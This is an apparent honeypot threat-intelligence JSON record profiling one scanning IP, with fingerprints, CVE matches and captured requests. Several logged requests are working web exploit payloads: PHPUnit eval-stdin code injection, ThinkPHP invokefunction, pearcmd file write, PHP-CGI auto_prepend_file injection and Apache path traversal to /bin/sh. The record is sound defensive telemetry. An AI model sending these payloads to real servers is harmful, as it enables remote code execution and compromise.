{"ip":"129.121.128.211","total_events":51,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"CDN","why":["45 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 610,267 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"610,267 bytes sent","bytes_sent":610267,"session_seconds":33,"persistent":false}},"first_seen":"2026-09-22T19:50:18","last_seen":"2026-09-25T10:12:00","events_24h":1,"events_7d":51,"geo":{"country_code":"SG","country_name":"Singapore","region":"","city":"Singapore","lat":1.2872,"lon":103.8507,"asn":31898,"org":"Oracle Corporation"},"source_domain":"129-121-128-211.unifiedlayer.com","known_scanners":[],"scanner_tag":{"key":"peeringdb:as31898","label":"Oracle Cloud Infrastructure","category":"cdn","url":"https://www.peeringdb.com/asn/31898"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":49},{"port":2375,"proto":"tcp","label":"Docker","count":2}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b50303086451ede9a83e362f8b2ef2b1d864bdf481deb6ae2382467a14a2bfcc6f18652071a5e4882950c0040534376f0eabc789d3285f046568dfc3316ca3a28517bc1a00248a8a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f0035010005480a0a000000170000ff01000100000a000c000a2a2a11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04ed2a2a00010011ec04c02fa48e02da18130cb69ba97113cc983ba95a09e53620ca9ffa309bfd241c1b29c64f319785bc6f65752140b341026aaa6d63742d1b56e6146e170b7c1bdbbd5a978a283cce824658226b8152fb01315883bccaafa824a370b5cc1ea093c23549db71830a162f13c93c6d866e0d610af16714b873cef443ad6a6832bcc5be37d19a4d1303aeb87b801b21953bc43d389921722a6870be1d4b75dcd8908dc179ba47c16968509767a6bb907d7bea289b818c490c082e11b96640241363c76a5c42ec41946202a18d8988edb09b9fcc5dfefb6ab4790c479a4d2adbc4d85465ea20406ae332c8d4680c2691afa4413ec8ca78ca332f4bcd12a37040e934a7101d4af617c02a6a5768cb943613f40435c0680692a9badd7c8850a86a66f245425535be213b0b49c4ef4399f2027f1d84832b186232f251b0c4ae7cd234dc81350db5116efc6989b575d8556efa4723d5e635e8a269d15934db9c262f043e48b49214403e184c3e94381955822397f868de046eed00ae3a4b16d1b760f5829436aa014c76b49415a64006bdf5d3cbe0f0ad9cecb3af816e33c2c24841433709ba146836ee3b713f8478d902a2ff5b1256ec4e37777a9da327dcb5877de71eade8bb3946c41bf05f7cd8191c64ca6e26c5b8b5ce6151452c6cbb12506908f9b916290ef09505c9c844ece58a42518cc24a7025e0ab98a80de5f28a4b6c7dd4f984cd532a46a8192d7489e2e0244612bde39b56979641a2ba034295426e6126d7b1403697950668a4b469327d0526c7a540837c6d9df374d99947df791ef7e341ea017218db970da4b43ad144363ca0cd570cabd3278d735b80c87bdc67aa308713e4a42368d4b5dfc4cb35c16ba7c6bb1dab8f3076c673c23894645778ea3866ab8f4e52ae7b458832030bf628981ee7c7935613d946a9fc801316a70d0fc47f0ff26d62fb72863b6762eb734b6389fd400b77e1b7ca185ad510581627748ac4bc95ac499d7110d4c26505995413313283060e45628bc44083296a5e0ec446aa514f7f83cebac21bf5923688f8baf7d749249a2648e09051b0a6f93a65ce63adff0a6cad29ae19dc9af962ae852c4d85f89014572a8a2b3e4fb779444698b35780929726e485aff0812136f4337a0948d43b71eae34bafdc536293601f9a6e46a99592146b1221cf64669e57f51036d068e215bce293646870859ec86d9d411d9b20575a294240aa41b26512dd5c9161f55d4c788132a60f74e11bbd6c7101a3080cb75f73d12fe2e7363521ae1f78a4a7aa1397920203604137f3b34d2463d6a6572e9b4358a50cdc941847a0a3e7ec33300ab33e19a4e3dabb7f4bcab80412a5806882e4cff417727d8a0dba285c9290b8e69cb7b899a37059b7af0920e83a8e62d32b6c392493e8427ac0b402162e5e3811f9b02ba2e42dd8a2768d097889e8cc14423ba4ea5c806926f96752ce8920ee099e44148da969a24cc7c19ad8203523c474f10e6cba678a074b9bda389029743055af4b3320e0893f57bb12410418c8e938664c8a22c52f0e5c86d01431d2e55c5ad48bd9899fd405923b35c1fd83323ce8b3c2523b259414dfe038585a78564736678893e504c983fb819b83863fdb3c12f836a9ca7dc7898975cb962518b30f67ac6a82d364341dfdb3e7b1ab3d308e801cf83012ba282e8c62586804116bf88e2535323ec55b33e53256bd26e0f622001d00203c0a426fd24c17f4810c6cc874d92830b2f69466c7b96a64cb75bd237367f037002d00020101002b0007063a3a030403039a9a0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["a11cuq070_0000066b_78584aaf","a11cun050_0000006b_bd5c72d1","a11cun050_0000006b_dd905059"]},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":128,"a11cuq070_0000066b_78584aaf":21,"a11cun050_0000006b_dd905059":9,"a11cun050_0000006b_bd5c72d1":34},"akin_families":{"a11cun050_0000006b_bd5c72d1":{"head":"a11cun050_0000006b_bd5c72d1","shapes":2,"ips":34}},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-22","count":1},{"date":"2026-09-23","count":49},{"date":"2026-09-25","count":1}],"recent_events":[{"timestamp":"2026-09-25T10:12:00","port":2375,"proto":"tcp","app_proto":"","app_protocol":"http","host":"192.3.118.146","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"192.3.118.146:2375\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a203139322e332e3131382e3134363a323337350d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"3798c90a-6c74-486e-a395-f857ccd68e40","seq":1,"duration_ms":100,"bytes_in":155,"bytes_out":80},{"timestamp":"2026-09-23T07:03:20","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"6ab05351-3a39-43e3-ac99-2662637adb15","seq":49,"duration_ms":33118,"bytes_in":19190,"bytes_out":3920},{"timestamp":"2026-09-23T07:03:19","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"6ab05351-3a39-43e3-ac99-2662637adb15","seq":47,"duration_ms":32273,"bytes_in":18848,"bytes_out":3760},{"timestamp":"2026-09-23T07:03:19","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"6ab05351-3a39-43e3-ac99-2662637adb15","seq":48,"duration_ms":32697,"bytes_in":19036,"bytes_out":3840},{"timestamp":"2026-09-23T07:03:18","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"6ab05351-3a39-43e3-ac99-2662637adb15","seq":46,"duration_ms":31311,"bytes_in":18590,"bytes_out":3680},{"timestamp":"2026-09-23T07:03:17","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"6ab05351-3a39-43e3-ac99-2662637adb15","seq":45,"duration_ms":30349,"bytes_in":18342,"bytes_out":3600},{"timestamp":"2026-09-23T07:03:16","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"6ab05351-3a39-43e3-ac99-2662637adb15","seq":44,"duration_ms":29312,"bytes_in":18101,"bytes_out":3520},{"timestamp":"2026-09-23T07:03:15","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"6ab05351-3a39-43e3-ac99-2662637adb15","seq":41,"duration_ms":27973,"bytes_in":17281,"bytes_out":3280},{"timestamp":"2026-09-23T07:03:15","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"6ab05351-3a39-43e3-ac99-2662637adb15","seq":42,"duration_ms":28321,"bytes_in":17556,"bytes_out":3360},{"timestamp":"2026-09-23T07:03:15","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"6ab05351-3a39-43e3-ac99-2662637adb15","seq":43,"duration_ms":28760,"bytes_in":17829,"bytes_out":3440}],"http_methods":[{"method":"GET","count":44},{"method":"POST","count":7}],"distinct_ports_total":2,"top_paths":[{"path":"/containers/json","count":3,"ports":2},{"path":"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":1,"ports":1},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":1,"ports":1},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[{"value":"192.3.118.146","count":1}],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"]},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"]}],"data_as_of":"2026-09-26T04:53:32.548864+00:00"}